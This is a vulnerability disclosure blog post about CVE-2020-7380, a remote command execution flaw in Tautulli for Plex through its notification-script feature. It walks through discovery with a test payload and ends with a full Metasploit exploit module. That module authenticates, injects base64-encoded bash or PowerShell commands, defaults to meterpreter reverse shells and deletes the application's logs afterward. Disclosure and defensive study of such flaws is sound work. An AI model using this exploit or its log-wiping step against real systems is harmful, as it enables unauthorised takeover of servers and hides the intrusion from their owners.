TL;DR
Tautulli for Plex is vulnerable to remote command execution attacks running under the context of the Tautulli process. By sending specially crafted HTTP requests, the application will allow a remote user to execute arbitrary commands. To complete the attack, you must have access to the UI of the application. The vulnerability impacts versions of Tautulli from 1.3.0 through 2.5.3.
CVE-2020-7380 has been assigned to the vulnerability, and an updated version of Tautulli has been released at tautulli.com.
Introduction
In my free time, I look for interesting devices and services by browsing Shodan’s previously searched for results. You know. What’s the flavor of the day? During one of these exploratory sessions, I came across the Tautulli service and it showed there were many public-facing instances of Tautulli.
The Tautulli website describes the software as “a 3rd party application that you can run alongside your Plex Media Server to monitor activity and track various statistics”. I was curious what it was all about, so I went to their site and looked around until something caught my attention.
Notification feature
Gazing my eyes upon this image, one word screamed out to me. Scripts! I pondered. What kind of scripts can I trigger? Console scripts? Some sort of proprietary scripts? At any rate, I was ready to find out if I could poke a stick at it and, who knows, maybe I’ll get lucky and find a shell. I explored the website until I found this help page, which describes configuring scripts for the notification feature.
Tautulli notification script settings
The application is allowing the user to run any existing file on the system which ends with .bat, .cmd, .exe, .php, .pl, .ps1, .py, .pyw, .rb, or .sh. This feature certainly looks to be risky, especially with so many public-facing instances. But is it vulnerable?
I downloaded the source and fired up a local instance of Plex and Tautulli. I browsed through the code and focused my attention on /plexpy/notifiers.py. After reviewing the imports, I saw the subprocess module and knew this was likely to be used to launch scripts. I performed a text search for subprocess and came across the following code.
Routine that executes notification scripts
After reviewing the code I could see there is no input validation or sanitization. The idea behind this feature is you select a directory that contains your notification scripts at which point you select a specific script from this directory. From an adversary perspective, this would only give you access to their notification scripts. What I’m after is command execution and with the lack of any validation, I should be good to go. Let’s fire up Burp Suite and see what I can do.
After playing around in the UI of Tautulli, I noticed there was a Test Notifications tab. This feature allows you to test a script and ensure all is working correctly. I thought this might be an excellent way to test out payloads without having to initiate an event within the Plex server.
Send test notification
To get started, let’s try to build a test notification and try to run arbitrary commands. Below, is a POST request to the set_notifier_config endpoint with mostly null values. I modified the request in an attempt to run arbitrary commands.
POST request to set_notifier_config
Now that I have the POST request, I created a payload that contains the arbitrary command I wish to execute bash -c ‘id>/tmp/id’. This command will direct the output of the id command to the file /tmp/id. Using Burp Suite, I URL encoded the command.
URL encoded payload
Then add the command to the POST request.
POST request to set_notifier_config
Well, let’s see if it worked.
Fail
Let’s take a look at the logs.
Tautulli logs
Okay. It encountered an error when trying to run our notification script. The error suggests I should set the script folder value before I can execute a command. I do this with a POST request to the set_notifier_config endpoint, and set the scripts_script_folder value to /usr/bin/ which contains the bash executable.
POST request to configure script folder value
With that done, I send another test notification.
Send test notification
The notification successfully queued. Let’s see if it worked.
Success
Success! I was able to execute an arbitrary command by sending a request to send_notification with the script I want to execute and any arguments to be passed to the script. If the server is configured per vendor instructions it will run at the user level but, there is nothing preventing the service from running with system or root privileges. After reviewing the logs, I could see that Tautulli accepted our arbitrary command.
Tautulli logs
Conclusion:
An arbitrary remote command execution attack can be carried out by remote unauthenticated users if Tautulli has been configured without authentication. If authentication is enabled in Tautulli, the user must have valid credentials to carry out the attack. This vulnerability impacts versions v1.3.0 through v2.5.3. The vendor was notified and an updated version (v2.5.4) of Tautulli was released on 07/31/2020 and can be downloaded at tautulli.com.
Metasploit Exploit Module
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 | class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking require 'msf/core/exploit/powershell' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell $nid = "" def initialize(info={}) super(update_info(info, 'Name' => 'Tautulli Notification Arbitrary Command Execution', 'Description' => %q( This module exploits an RCE in Tautulli v2.0.0-beta through v2.5.3. ), 'License' => MSF_LICENSE, 'Author' => ['Phillip Castellanos'], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86_64, ARCH_X86 ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X86_64, ARCH_X86 ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', } } ] ], 'DisclosureDate' => "Sep 1 2020", 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(8181), OptString.new('USERNAME', [ false, "Username to authenticate with", '']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) ], self.class) deregister_options('SRVHOST', 'SRVPORT', 'URIPATH') end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'cookie' => $cookie, 'uri' => normalize_uri(uri, 'home') }) if datastore['TARGET'] == 0 ver = res.to_s.match /js\?v\d\.\d+\.\d+/ if ver && ver.length() > 0 mjr = ver[0].match /\d/ if mjr[0] == '2' print_good("Found version " + (ver[0].match /\d\.\d+\.\d+/).to_s + " which appears vulnerable") return Exploit::CheckCode::Appears end else print_error("Unable to determine if host is vulnerable.") return Exploit::CheckCode::Unknown end end if datastore['TARGET'] == 1 ver = res.to_s.match /js\?1698622d63f406d50da4429e2b5d1b5d55893358/ if ver && ver.length() > 0 print_good("#{(datastore['RHOST'])} appears vulnerable!") return Exploit::CheckCode::Appears else print_error("Unable to determine if host is vulnerable.") return Exploit::CheckCode::Unknown end end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end def execute_command(cmd, opts = {}) go = '' if datastore['TARGET'] == 0 #lin doit = "-c 'echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash'" go = 'bash' elsif datastore['TARGET'] == 1 #win doit = "/c " + cmd_psh_payload(payload.encoded, payload_instance.arch.first) go = 'cmd' end uri = target_uri.path res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'send_notification'), 'cookie' => $cookie, 'vars_post' => { "notifier_id" => $nid, "script" => "#{(go)}", "script_args" => "#{(doit)}", "notify_action" => "test", "_" => "1595307220083" } }) if res && res.code == 200 print_status("Queued notification agent") elsif res.code == 303 fail_with(Failure::NoAccess, "#{peer} - Failed to login to target!") end if datastore['TARGET'] == 0 sleep 5 elsif datastore['TARGET'] == 1 sleep 20 end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'delete_logs'), 'cookie' => $cookie, 'vars_post' => { "logfile" => "tautulli" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end def exploit uri = target_uri.path $cookie = '' if datastore['USERNAME'] != '' && datastore['PASSWORD'] != '' print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'auth', 'signin'), 'vars_post' => { "username": datastore['USERNAME'], "password": datastore['PASSWORD'] } }) if res && res.code == 200 print_good("Logged In!") $cookie = res.get_cookies elsif res && res.code == 401 fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!") end else res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'home') }) if res && res.code == 200 $cookie = res.get_cookies else fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!") end end check() res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'add_notifier_config'), 'cookie' => $cookie, 'vars_post' => { 'agent_id' => "15", '_' => "1595307220083" } }) js = {} if res && res.code == 200 js = res.get_json_document $nid = js['notifier_id'].to_s if js['result'] == 'success' print_status("Created new agent") else fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response!") return end else fail_with(Failure::NoAccess, "#{peer} - Failed to login to the target!") return end if datastore['TARGET'] == 0 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'set_notifier_config'), 'cookie' => $cookie, 'vars_post' => { "notifier_id": $nid, "agent_id": "15", "scripts_script_folder": "/usr/bin/", "scripts_script": "", "scripts_timeout": "30", "friendly_name": '', "on_play": "0", "on_stop": "0", "on_pause": "0", "on_resume": "0", "on_change": "0", "on_watched": "0", "on_buffer": "0", "on_concurrent": "0", "on_newdevice": "0", "on_created": "0", "on_intdown": "0", "on_intup": "0", "on_extdown": "0", "on_extup": "0", "on_pmsupdate": "0", "on_plexpyupdate": "0", "on_plexpydbcorrupt": "0", "parameter": '', "custom_conditions": "[{"parameter":"","operator":"","value":""}]", "custom_conditions_logic": '', "on_play_subject": '', "on_stop_subject": '', "on_pause_subject": '', "on_resume_subject": '', "on_change_subject": '', "on_watched_subject": '', "on_buffer_subject": '', "on_concurrent_subject": '', "on_newdevice_subject": '', "on_created_subject": '', "on_intdown_subject": '', "on_intup_subject": '', "on_extdown_subject": '', "on_extup_subject": '', "on_pmsupdate_subject": '', "on_plexpyupdate_subject": '', "on_plexpydbcorrupt_subject": '', "test_script": '', "test_script_args": '' } }) elsif datastore['TARGET'] == 1 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'set_notifier_config'), 'cookie' => $cookie, 'vars_post' => { "notifier_id": $nid, "agent_id": "15", "scripts_script_folder": "c:\\windows\", "scripts_script": "", "scripts_timeout": "30", "friendly_name": '', "on_play": "0", "on_stop": "0", "on_pause": "0", "on_resume": "0", "on_change": "0", "on_watched": "0", "on_buffer": "0", "on_concurrent": "0", "on_newdevice": "0", "on_created": "0", "on_intdown": "0", "on_intup": "0", "on_extdown": "0", "on_extup": "0", "on_pmsupdate": "0", "on_plexpyupdate": "0", "on_plexpydbcorrupt": "0", "parameter": '', "custom_conditions": "[{"parameter":"","operator":"","value":""}]", "custom_conditions_logic": '', "on_play_subject": '', "on_stop_subject": '', "on_pause_subject": '', "on_resume_subject": '', "on_change_subject": '', "on_watched_subject": '', "on_buffer_subject": '', "on_concurrent_subject": '', "on_newdevice_subject": '', "on_created_subject": '', "on_intdown_subject": '', "on_intup_subject": '', "on_extdown_subject": '', "on_extup_subject": '', "on_pmsupdate_subject": '', "on_plexpyupdate_subject": '', "on_plexpydbcorrupt_subject": '', "test_script": '', "test_script_args": '' } }) end if res && res.code == 200 print_status("Saved agent config") else fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response!1") return end if datastore['TARGET'] == 0 execute_cmdstager(linemax: 20240, flavor: 'echo') elsif datastore['TARGET'] == 1 execute_cmdstager(linemax: 20240) end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end end |
Add Comment